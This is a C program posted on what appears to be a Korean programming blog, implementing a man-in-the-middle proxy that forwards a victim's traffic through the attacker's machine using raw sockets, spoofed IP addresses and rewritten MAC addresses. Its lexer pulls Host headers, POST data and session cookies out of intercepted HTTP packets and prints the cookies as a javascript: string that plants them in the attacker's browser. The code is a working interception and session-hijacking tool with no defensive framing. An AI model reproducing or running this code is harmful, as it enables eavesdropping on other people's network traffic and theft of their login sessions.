#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/udp.h>
#define TYPE_IP 0x0008
#define BUFSIZE 40960
#define EOS 0x0D
// Set-Cookie: JSESSIONID=12341234123412341234; Domain=.a.b.c; Path=/;
char* g_pattern = "Cookie: ";
int g_state=0;
int g_index=0;
char buffer[1024];
char* g_pattern2 = "Host: ";
int g_state2=0;
int g_index2=0;
char buffer2[1024];
char* g_pattern3 = "POST ";
int g_state3=0;
int g_index3=0;
char buffer3[1024];
int Lexer(const char* in, int len){
int i=0;
for(i=0; i<len; i++){
// get pattern
if( g_state == -1 ){
buffer[ g_index++ ] = in[i];
// end of sequence
if( in[i] == EOS ){
buffer[ g_index-1 ] = 0;
g_index=0;
g_state=0;
// output data!
printf("javascript:alert(document.cookie='%s')\n", buffer);
}
}
else{
// learning state
if( g_pattern[ g_state ] == in[i] ){
g_state++;
}
else
g_state=0;
if( g_state == strlen(g_pattern) ){
g_state=-1; // accepting state.
}
}
// get pattern
if( g_state2 == -1 ){
buffer2[ g_index2++ ] = in[i];
// end of sequence
if( in[i] == EOS ){
buffer2[ g_index2 ] = 0;
g_index2=0;
g_state2=0;
// output data!
printf("Host : %s\n", buffer2);
}
}
else{
// learning state
if( g_pattern2[ g_state2 ] == in[i] ){
g_state2++;
}
else
g_state2=0;
if( g_state2 == strlen(g_pattern2) ){
g_state2=-1; // accepting state.
}
}
// get pattern
if( g_state3 == -1 ){
buffer3[ g_index3++ ] = in[i];
// output data!
if(i+1==len){
printf("POST %s\n", buffer3);
g_index3=0;
g_state3=0;
}
}
else{
// learning state
if( g_pattern3[ g_state3 ] == in[i] ){
g_state3++;
}
else
g_state3=0;
if( g_state3 == strlen(g_pattern3) ){
g_state3=-1; // accepting state.
}
}
}
}
typedef struct sockaddr_in SOCKADDR_IN;
typedef struct sockaddr SOCKADDR;
#pragma pack(1)
struct pseudohdr{
unsigned int sip;
unsigned int dip;
unsigned short protocol;
unsigned short len;
unsigned char payload[2000];
};
#pragma pack()
// globals.
unsigned char buf[BUFSIZE];
unsigned char gateway[6];
unsigned char local[6];
unsigned char victim[6];
int sock2; // layer 2 socket
int sd_raw; // layer 3 socket
SOCKADDR_IN addr_in; // in address
SOCKADDR_IN addr_out; // out address
void dump(unsigned char* p, int len){
printf("dump>");
int i;
for(i=0; i<len; i++){
printf( "%02X ", (unsigned int)p[i] );
}
printf("<dump\n");
}
// set MAC Address from string
int SetHWAddr(unsigned char* dest, char* src){
int i;
unsigned int tmp;
for(i=0; i<6; i++){
sscanf( (src + i*3), "%02X", &tmp );
dest[i] = (unsigned char)tmp;
}
return 0;
}
// print MAC Address to string
void PrintHWAddr(unsigned char* p){
int i;
for(i=0; i<6; i++){
printf( "%02X", (unsigned int)p[i] );
if(i!=5) printf(":");
}
printf("\n");
}
unsigned short in_cksum(u_short *addr, int len){
int sum=0; // 총 합계.
int nleft=len; // 인자로 받은 len.
u_short *w=addr; // 인자로 받은 addr의 주소를 저장.
u_short answer=0; // 최종적으로 리턴되는 값.
// nleft만큼 sum에 *w의 값을 더함.
while (nleft > 1){
sum += *w++;
nleft -= 2;
}
// nleft가 홀수라서 값이 남을 경우 추가로 더해줌.
if (nleft == 1){
*(u_char *)(&answer) = *(u_char *)w ;
sum += answer;
}
sum = (sum >> 16) + (sum & 0xffff); // 상위 16비트와 하위 16비트를 더함.
sum += (sum >> 16); // carry bit 값을 더함.
answer = ~sum; // 값을 반전 시킴.
return(answer); // 리턴.
}
struct pseudohdr pshdr;
int main(int argc, char* argv[]){
if(argc < 6){
printf("usage : ./proxy [interface] [gateway_mac] [victim_mac] [local_mac] [victim_ip] [local_ip]\n");
return 0;
}
sock2 = socket(AF_INET, SOCK_PACKET, htons(0x0003));
if(sock2!=-1) printf("L2 socket ready.\n");
struct sockaddr myaddr;
memset(&myaddr, 0, sizeof(myaddr));
myaddr.sa_family = AF_INET;
strcpy(myaddr.sa_data, argv[1]);
int r = bind(sock2, &myaddr, sizeof(myaddr));
if(r==0) printf("L2 socket bindded to interface %s\n", argv[1]);
SetHWAddr(gateway, argv[2]);
printf("setting gateway mac... ");
PrintHWAddr(gateway);
SetHWAddr(victim, argv[3]);
printf("setting victim mac... ");
PrintHWAddr(victim);
SetHWAddr(local, argv[4]);
printf("setting local mac... ");
PrintHWAddr(local);
struct tcphdr* tcph = (struct tcphdr*)&buf[34];
struct udphdr* udph = (struct udphdr*)&buf[34];
struct iphdr* iph = (struct iphdr*)&buf[14];
printf("Start Forwarding...\n");
// start forwarding
while(1){
r = read(sock2, buf, BUFSIZE);
// if it is IP frame
if(buf[12]==0x08 && buf[13]==0x00){
// if src is victim and dst is gateway
if( !memcmp(&buf[6], victim, 6) && !memcmp(&buf[0], local, 6) ){
//printf("intercepting connection v -> g\n");
memcpy(buf, gateway, 6);
memcpy(buf+6, local, 6);
// filter HTTP packet.
if(iph->protocol==IPPROTO_TCP && (tcph->dest==80 || tcph->dest==8080) ){
Lexer(buf, r);
iph->saddr = inet_addr(argv[6]); // spoof ip address!!
iph->check = 0;
iph->check = in_cksum((unsigned short*)iph, 20);
switch(iph->protocol){
case IPPROTO_TCP: // 0x06
tcph->check = (unsigned short)0x00;
memset(&pshdr, 0, sizeof(pshdr));
pshdr.sip = iph->saddr;
pshdr.dip = iph->daddr;
pshdr.protocol = htons(iph->protocol);
pshdr.len = htons( ntohs(iph->tot_len)-20 );
memcpy( pshdr.payload, &buf[34], r ); // make tcp pseudo header
tcph->check = in_cksum( (unsigned short*)&pshdr, ntohs(iph->tot_len)-8 );
break;
case IPPROTO_UDP:
udph->check = 0;
break;
default:
break;
}
}
r = sendto(sock2, buf, r, 0, &myaddr, sizeof(myaddr));
}
// if src is gateway and dst is victim
else if( /*!memcmp(&buf[6], gateway, 6) &&*/ !memcmp(&buf[0], local, 6) ){
//printf("intercepting connection g -> v\n");
memcpy(buf, victim, 6);
memcpy(buf+6, local, 6);
// filter HTTP packet.
if(iph->protocol==IPPROTO_TCP && (tcph->source==80 || tcph->source==8080) ){
Lexer(buf, r);
iph->daddr = inet_addr(argv[5]); // restore ip address!!
iph->check = 0;
iph->check = in_cksum((unsigned short*)iph, 20);
switch(iph->protocol){
case IPPROTO_TCP: // 0x06
tcph->check = (unsigned short)0x00;
memset(&pshdr, 0, sizeof(pshdr));
pshdr.sip = iph->saddr;
pshdr.dip = iph->daddr;
pshdr.protocol = htons(iph->protocol);
pshdr.len = htons( ntohs(iph->tot_len)-20 );
memcpy( pshdr.payload, &buf[34], r ); // make tcp pseudo header
tcph->check = in_cksum( (unsigned short*)&pshdr, ntohs(iph->tot_len)-8 );
break;
case IPPROTO_UDP:
udph->check = 0;
break;
default:
break;
}
}
r = sendto(sock2, buf, r, 0, &myaddr, sizeof(myaddr));
}
else{
}
}
}
close(sock2);
return 0;
}
'Programming' 카테고리의 다른 글
fork and exec.c (0) | 2013.03.19 |
---|---|
sniffer.c (0) | 2013.03.19 |
arpreply.c (0) | 2013.03.19 |
print segment registers.c (0) | 2013.03.19 |
linux thread.c (0) | 2013.03.19 |